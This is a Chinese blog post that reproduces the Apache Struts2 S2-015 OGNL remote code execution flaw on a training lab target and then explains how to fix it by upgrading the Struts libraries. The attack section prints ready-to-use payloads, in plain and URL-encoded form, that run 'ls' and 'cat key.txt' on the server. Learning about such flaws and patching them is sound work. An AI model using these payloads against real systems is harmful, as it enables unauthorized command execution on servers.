Apache Struts2远程代码执行漏洞(S2-015)复现及修复方案

news2024/9/23 19:27:07

Apache Struts2远程代码执行漏洞(S2-015)介绍

Apache Struts 2是用于开发JavaEE Web应用程序的开源Web应用框架。Apache Struts 2.0.0至2.3.14.2版本中存在远程命令执行漏洞。远程攻击者可借助带有‘${}’和‘%{}’序列值(可导致判断OGNL代码两次)的请求,利用该漏洞执行任意OGNL代码。

影响版本:2.0.0至2.3.14.2版本。

CVE编号:CVE-2013-2135

Apache Struts2远程代码执行漏洞(S2-015)复现

原本说自己搭建一个环境演示一下漏洞,后来想起来墨者学院(www.mozhe.cn/)里面有一些漏洞靶场环境,找了找还真的有(~ ̄▽ ̄)~。

打开靶机:

虽然我们知道这是含有Apache Struts2远程代码执行漏洞(S2-015)的靶机,不过我们还是按照正常步骤来测试一下,我用的是Struts2-Scan扫描工具,在此附上下载链接和使用方法(github.com/HatBoy/Stru…)。

注意:使用时要求 Python3.6.X及其以上版本。

运行:

开始扫描:

发现存在S2-012,S2-046,S2-015漏洞。我在网上看到不少在这里就转到了利用S2-46漏洞直接接行了命令执行或shell上传   ψ(`∇´)ψ ,说好的S2-015漏洞呢!!就像下面这样。直接就可以找到key:

在这里我们通过写入exp的方式利用S2-015漏洞。#(exp是在网上找的,以我的水平目前还写不出来,只能大体看得懂)😢

${#context[‘xwork.MethodAccessor.denyMethodExecution’]=false,#m=#_memberAccess.getClass().getDeclaredField(‘allowStaticMethodAccess’),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘ls’).getInputStream()),#q}.action 

当然,要经过url编码才能使用:

/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27ls%27%29.getInputStream%28%29%29%2C%23q%7D.action 

上图我们发现存在key.txt文件,读取他就可以了,输入:

%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27cat%20key.txt%27%29.getInputStream%28%29%29%2C%23q%7D.action 

这样,key就出来了。当然我们的目的并不是得到key,只是要复现一下S2-015漏洞,体现一下这个漏洞的危害,下面我讲述一下如何修复这个漏洞。

Apache Struts2远程代码执行漏洞(S2-015)修复

注意

  • 更新Struts版本可能出现兼容性问题,导致业务无法正常运行。
  • 需要重启Tomcat
  • 升级前,建议备份旧版Struts项目目录

修复流程

确定Struts版本 > 下载新版Struts库并校验SHA256 > 备份Struts库 > 删除旧版Struts库 > 替换 新版Struts库 > 验证修复结果 > 完成

步骤一:确定Struts版本

先确定Struts应用根路径(下面简写为root_dir),如:D:\apache-tomcat-7.0.103\webapps\struts2-showcase,然后找到root_dir\WEB-INF\lib\struts2-core-x.x.x.jar,其中x.x.x 即为版本号。如图:Struts版本为2.3.37:

步骤二:下载新版Struts库并校验SHA256

原本2.3以下版本的用户请下载2.3.37或以上的包,原本2.5以上版本的用户请下载2.5.22或以上的包。(注意:通过以下链接下载Struts库需要“科学上网”,无法下载的用户可前往官网下载最新版: struts.apache.org/download.cg…)

**      下载链接**如下:2.3.37版本:archive.apache.org/dist/struts…2.5.22版本:archive.apache.org/dist/struts…

打开cmd命令提示符,执行命令,得到文件SHA256。certutil -hashfile 文件路径 SHA256

例如:certutil -hashfile D:\sain\struts-2.3.37.min-lib.zip SHA256 

如果得到的SHA256与下面的SHA256值一致,则下载正确

2.3.37 版本:22f09a1c4cdb760fa13f3e36a84f53682201924f63c65d265ec42ea6dc5e5f53

2.5.22 版本:8da7f12b3525abb0f074b95c90e447b590166ba6baefba776b01584562d07148 

步骤三:备份旧版Struts库

备份root_dir\WEB-INF\lib目录

步骤四:删除旧版Struts库

2.3.x及以下版本需要删除的包如下:(不存在的就忽略)

commons-fileupload-xxx.jar

commons-io-xx.jar

commons-lang3-xx.jar(注意是commons-lang3而不是commons-lang)

commons-logging-xxx.jar

freemarker-xxx.jar

javassist-xxx.GA.jar

ognl-xxx.jar

struts2-core-xxx.jar

xwork-core-xxx.jar或xwork-xxx.jar??

2.5.x需要删除的包如下:(不存在的就忽略)

commons-fileupload-xxx.jar

commons-io-xx.jar

commons-lang3-xx.jar(注意是commons-lang3而不是commons-lang)

freemarker-xxx.jar或freemarker-xxx-incubating.jar??

javassist-xxx-GA.jar

log4j-api-xxx.jar

ognl-xxx.jar

struts2-core-xxx.jar

步骤五:替换新版Struts库

将新包中lib目录的jar包,复制到Struts项目的lib目录中(即D:\apache-tomcat- 7.0.103\webapps\struts2-showcase\WEB-INF\lib)

步骤六:重启Tomcat

修复完成,请检查所有业务是否正常!

Apache Struts2远程代码执行漏洞(S2-015)防护

因为更新需要重启Tomcat,对于正在进行业务的服务器来说是不方便的,所以如果在边界配有防火墙,可以配置相应的策略进行封堵。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/132195.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

LabVIEW​​共享​变量生命周期

LabVIEW​​共享​变量生命周期 共享​变量​生命​周期 ​所有​共享​变量​都是​项目​库​的​一部分。​SVE​将会​注册​项目​库​和​库​中​包含​的​共享​变量​(当​LabVIEW​需要​调​用​其中​某​个​变量​时)​。​默认​情况​…

AlphaGo简易版MuGo源码解析

文章目录前言源码实现MuGo的输入数据模型的搭建模型的训练参考链接结语前言 自从AlphaGo横空出世,战胜李世石后,AI围棋如雨后春笋一般遍地开花。阅读DeepMind的论文有时还是隔靴搔痒,只有钻到代码里,才能一探究竟。于是&#xff…

Arthas诊断追踪性能案例

文章目录1、什么是Arthas2、安装启动3、追踪流程背景:本次案例使用Windows操作系统进行本地环境演示(生产环境Linux同理) 案例:查询接口性能特别慢,通过Arthas追踪诊断链路中哪个步骤导致性能如此之慢 注意&#xff1a…

code review的思考和实践

使用方式 1.看名称效果图,有没有和自己想要的效果类似的 2.有的话,复制粘贴代码使用 3.也可以自己修改一下 4.css效果并不是特别难,只是有时候我们可能想不到 5.笔者空闲时间,会继续更新的哦,点赞关注不迷路**^_^** …

EMNLP 22:SetGNER: General Named Entity Recognition as Entity Set Generation

SetGNER: General Named Entity Recognition as Entity Set Generation **任务形式:**识别flat、nest和不连续实体。 **任务建模方式:**采用基于pointer的方式实现任务建模,文本序列中的每个word可以用tag表示,具体为&#xff1…

Java算法_LeetCode122:买卖股票的最佳时机II

LeetCode122:买卖股票的最佳时机II 给你一个整数数组 prices ,其中 prices[i] 表示某支股票第 i 天的价格。 在每一天,你可以决定是否购买和/或出售股票。你在任何时候 最多 只能持有 一股 股票。你也可以先购买,然后在 同一天 …

有关于huggingface evaluate的使用

老版本Transformer的from datasets import load_metric,在新版本中被替换成了evaluate。 这个包挺难用的,而且不同版本的接口都有点不太一样,本博客以transformers4.18.0, evaluate0.4.0为例,示范一下如何使用evaluate进行常见的…

【LDF】线性判别函数(一)

基于判别函数的判别准则 对于ccc类分类问题:设 gi(x),i1,2,…,cg_i(\mathbf{x}), i1,2, \ldots, cgi​(x),i1,2,…,c, 表示每个类别对应的判别函数,决策规则为:如果 gi(x)>gj(x),∀j≠ig_i(\mathbf{x})>g_j(\mathbf{x}), \forall j \n…

[机器学习-概念新] 什么是欧式距离、标准化欧式距离、马氏距离、余弦距离

1.欧式距离(Euclidean Distance) 欧式距离源自N维欧氏空间中两点间的距离公式: 代码实践 from scipy import spatial vec1 [1, 2, 3, 4] vec2 [5, 6, 7, 8] euclidean spatial.distance.euclidean(vec1, vec2) print(euclidean) 2.标准化欧式距离(S…

狂揽两千星,速度百倍提升,高性能Python编译器Codon开源

这个高性能 Python 编译器具有支持 Python 众多语法、完美互通其他框架等优点。 众所周知,Python 是一门简单易学、具有强大功能的编程语言,在各种用户使用统计榜单中总是名列前茅。相应地,围绕 Python,研究者开发了各种便捷工具&…

G1垃圾回收

目录一、G1垃圾回收器G1垃圾回收阶段(3个)① Young Collection② Young Collection CM③ Mixed CollectionYoung Collection 跨代引用RemarkG1—垃圾回收器优化字符串去重类卸载巨型对象动态调整阈值一、G1垃圾回收器 定义: Garbage First&…

lanmp环境搭建,你需要一次独立安装来深入了解各个软件

一,安装Apache yum install httpd -y,安装apache,版本为2.4.6,最新为2.4.9。 cp /etc/httpd/conf/httpd.conf /etc/httpd/conf/httpd.conf.bak; vim /etc/httpd/conf/httpd.conf (默认唯一) 端口改为8000,不能与Ngin…

File类的使用

java,File类File类静态成员变量构造方法常用方法用于创建、删除文件/文件夹的方法用于遍历文件/文件目录的方法文件过滤器方法File类 Java文件类以抽象的方式代表文件名和目录路径名。该类主要用于文件和目录的创建、文件的查找和文件的删除等。 File对象代表磁盘…

数据分析的大体思路

目录标题数据分析企业数据的分析的三个方向:离线分析(Batch Processing)实时分析(Real Time Processing |Streaming):机器学习(Machine Learning)数据分析的流程明确分析的目的和思路…

JVM调优基本概念

1、jvm组成以工作流程 jvm组成 类装载器、运行时数据区(内存模型)、字节码执行引擎 工作大致流程 首先我们的java类编译成class类文件,当我们的class文件开始执行,我们的虚拟机便开始工作。 类加载器将class加载到运行时数据区…

SSM之Spring(一)

目录 一:Spring简介 1.1 Spring概述 1.2 SpringFrameWork 1.2.1 SpringFrameWork特性 1.2.2 Spring Framework五大功能模块 二:IOC 2.1 IOC容器 2.1.1 IOC思想 2.1.2 IOC容器在Spring中的实现 2.2 基于XML管理bean 2.2.1 入门案例 2.2.2 获取bean…

Golang switch 的使用的注意事项和细节

内容来自:尚硅谷-韩老师教学笔记,链接:尚硅谷 1)case/switch 后是一个表达式( 即:常量值、变量、一个有返回值的函数等都可以) 2)case 后的各个表达式的值的数据类型,必须和 switch 的表达式数据类型一致 3…

辞暮尔尔烟火年年,朝朝暮暮岁岁平安。(2022年度总结)

目录 前言: 一、第一件事情,重新认识自己,从内核出发 二、第二件事情,告别内卷,拥抱微雕 三、第三件事情,愿2023,你我更更好 前言: 今天是2022年12月31日,2022年的最…

Shell——变量与脚本运行的方式

文章目录变量定义变量的几种方式1)无引号2)单引号3)双引号4)反引号export定义变量变量的提取、修改与删除1)变量的提取2)变量的修改3)变量的删除特殊变量1)位置参数2)${#…

Jetpack组件(fragment)(1)

一.什么是Fragment? 碎片是活动的一部分,使得活动更加的模块化设计。我们可以认为碎片是一种子活动。 碎片拥有自己的布局,自己的行为及自己的生命周期回调。当活动在运行的时候,你可以在活动中添加或者移除碎片。你可以合并多个碎片在一个…